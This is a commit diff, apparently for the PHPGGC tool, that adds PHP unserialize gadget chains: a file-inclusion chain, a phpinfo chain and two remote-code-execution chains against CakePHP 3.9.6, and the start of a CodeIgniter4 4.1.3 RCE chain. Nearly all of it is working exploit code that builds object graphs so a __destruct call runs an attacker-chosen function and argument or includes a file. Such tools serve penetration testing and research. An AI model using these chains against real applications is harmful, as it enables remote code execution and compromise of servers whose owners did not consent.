add some gadget chains that I had collected

gadgetchains/CakePHP/FI/1/chain.php

@@ -0,0 +1,18 @@
+<?php
+
+namespace GadgetChain\CakePHP;
+
+class FI1 extends \PHPGGC\GadgetChain\FileInclude
+{
+    public static $version = '3.9.6';
+    public static $vector = '__destruct';
+    public static $author = 'CyanM0un';
+    public static $information = 'The path does not need end with the extension part (.php), and will use the ucfirst to process the path';
+
+    public function generate(array $parameters)
+    {
+        $file = $parameters['remote_path'];
+
+        return new \Symfony\Component\Process\Pipes\UnixPipes($file);
+    }
+}

gadgetchains/CakePHP/FI/1/gadgets.php

@@ -0,0 +1,62 @@
+<?php
+
+namespace Symfony\Component\Process\Pipes
+{   
+    class UnixPipes
+    {
+        public $pipes;
+
+        public function __construct($file)
+        {
+            $this->pipes = new \PharIo\Manifest\ExtElementCollection($file);
+        }
+    }
+}
+
+namespace PharIo\Manifest
+{
+    abstract class ElementCollection
+    {
+        private $nodeList;
+
+        public function __construct($file) 
+        {
+            $this->nodeList = new \App\Shell\ConsoleShell($file);
+        }
+    }
+
+    class ExtElementCollection extends ElementCollection
+    {
+        public function __construct($file) 
+        {
+            parent::__construct($file);
+        }
+    }
+}
+
+namespace App\Shell
+{
+    class ConsoleShell
+    {
+        public $taskNames;
+        public $Tasks;
+        protected $_taskMap;
+
+        public function __construct($file) 
+        {
+            $this->taskNames = ["length"];
+            $this->_taskMap = ["length"=>["class"=>$file]];
+            $this->Tasks = new \Twig\Cache\FilesystemCache();
+        }
+    }
+}
+
+namespace Twig\Cache
+{
+    class FilesystemCache
+    {
+        public function __construct() 
+        {
+        }
+    }
+}

gadgetchains/CakePHP/INFO/1/chain.php

@@ -0,0 +1,15 @@
+<?php
+
+namespace GadgetChain\CakePHP;
+
+class INFO1 extends \PHPGGC\GadgetChain\PHPInfo
+{
+    public static $version = '3.9.6';
+    public static $vector = '__destruct';
+    public static $author = 'CyanM0un';
+
+    public function generate(array $parameters)
+    {
+        return new \Symfony\Component\Process\Process();
+    }
+}

gadgetchains/CakePHP/INFO/1/gadgets.php

@@ -0,0 +1,43 @@
+<?php
+
+namespace Symfony\Component\Process
+{
+	class Process
+	{
+		private $options;
+		private $processPipes;
+
+		function __construct()
+		{
+			$this->options = ['create_new_console'=>true];
+			$this->processPipes = new \Cake\ORM\Association\HasMany();
+		}
+	}
+}
+
+namespace Cake\ORM\Association
+{
+	class HasMany
+	{
+		protected $_targetTable=false;
+		protected $_className;
+
+		function __construct()
+		{
+			$this->_className = new \Cake\Http\CallbackStream();
+		}
+	}
+}
+
+namespace Cake\Http
+{
+	class CallbackStream
+	{
+		protected $callback;
+
+		function __construct()
+		{
+			$this->callback = 'phpinfo';
+		}
+	}
+}

gadgetchains/CakePHP/RCE/3/chain.php

@@ -0,0 +1,18 @@
+<?php
+
+namespace GadgetChain\CakePHP;
+
+class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '3.9.6';
+    public static $vector = '__destruct';
+    public static $author = 'CyanM0un';
+
+    public function generate(array $parameters)
+    {
+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+
+        return new \Symfony\Component\Process\Pipes\UnixPipes($function, $parameter);
+    }
+}

gadgetchains/CakePHP/RCE/3/gadgets.php

@@ -0,0 +1,53 @@
+<?php
+
+namespace Symfony\Component\Process\Pipes
+{   
+    class UnixPipes
+    {
+        public $pipes;
+
+        public function __construct($func, $args)
+        {
+            $this->pipes = new \Cake\Database\Statement\BufferedStatement($func, $args);
+        }
+    }
+}
+
+namespace Cake\Database\Statement
+{
+    class CallbackStatement
+    {
+        protected $_callback;
+        protected $_statement;
+
+        public function __construct($func, $args)
+        {
+            $this->_callback = $func;
+            $this->_statement = new \Symfony\Component\Console\Output\BufferedOutput($args);
+        }
+    }
+
+    class BufferedStatement
+    {
+        protected $_allFetched=false;
+        protected $statement;
+
+        public function __construct($func, $args)
+        {
+            $this->statement = new CallbackStatement($func, $args);
+        }
+    }
+}
+
+namespace Symfony\Component\Console\Output
+{
+    class BufferedOutput
+    {
+        private $buffer;
+
+        public function __construct($args)
+        {
+            $this->buffer = $args;
+        }
+    }
+}

gadgetchains/CakePHP/RCE/4/chain.php

@@ -0,0 +1,18 @@
+<?php
+
+namespace GadgetChain\CakePHP;
+
+class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '3.9.6';
+    public static $vector = '__destruct';
+    public static $author = 'CyanM0un';
+
+    public function generate(array $parameters)
+    {
+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+
+        return new \Symfony\Component\Process\Pipes\UnixPipes($function, $parameter);
+    }
+}

gadgetchains/CakePHP/RCE/4/gadgets.php

@@ -0,0 +1,77 @@
+<?php
+
+namespace Symfony\Component\Process\Pipes
+{   
+    class UnixPipes
+    {
+        public $pipes;
+
+        public function __construct($func, $args)
+        {
+            $this->pipes = new \PharIo\Manifest\ExtElementCollection($func, $args);
+        }
+    }
+}
+
+namespace PharIo\Manifest
+{
+    abstract class ElementCollection
+    {
+        private $nodeList;
+
+        public function __construct($func, $args) 
+        {
+            $this->nodeList = new \App\Shell\ConsoleShell($func, $args);
+        }
+    }
+
+    class ExtElementCollection extends ElementCollection
+    {
+        public function __construct($func, $args) 
+        {
+            parent::__construct($func, $args);
+        }
+    }
+}
+
+namespace App\Shell
+{
+    class ConsoleShell
+    {
+        public $taskNames;
+        public $Tasks;
+        protected $_taskMap;
+
+        public function __construct($func, $args) 
+        {
+            $this->taskNames = ["length"];
+            $this->_taskMap = ["length"=>["class"=>$args,"config"=>["className"=>new \Symfony\Component\Console\Helper\Dumper($func)]]];
+            $this->Tasks = new \Cake\Log\LogEngineRegistry();
+        }
+    }
+}
+
+namespace Cake\Log
+{
+    class LogEngineRegistry
+    {
+        protected $_loaded=[];
+
+        public function __construct()
+        {
+        }
+    }
+}
+
+namespace Symfony\Component\Console\Helper
+{
+    class Dumper
+    {
+        private $handler;
+
+        public function __construct($func)
+        {
+            $this->handler = $func;
+        }
+    }
+}

gadgetchains/CodeIgniter4/RCE/7/chain.php

@@ -0,0 +1,18 @@
+<?php
+
+namespace GadgetChain\CodeIgniter4;
+
+class RCE7 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '4.1.3';
+    public static $vector = '__destruct';
+    public static $author = 'CyanM0un';
+
+    public function generate(array $parameters)
+    {
+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+
+        return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter);
+    }
+}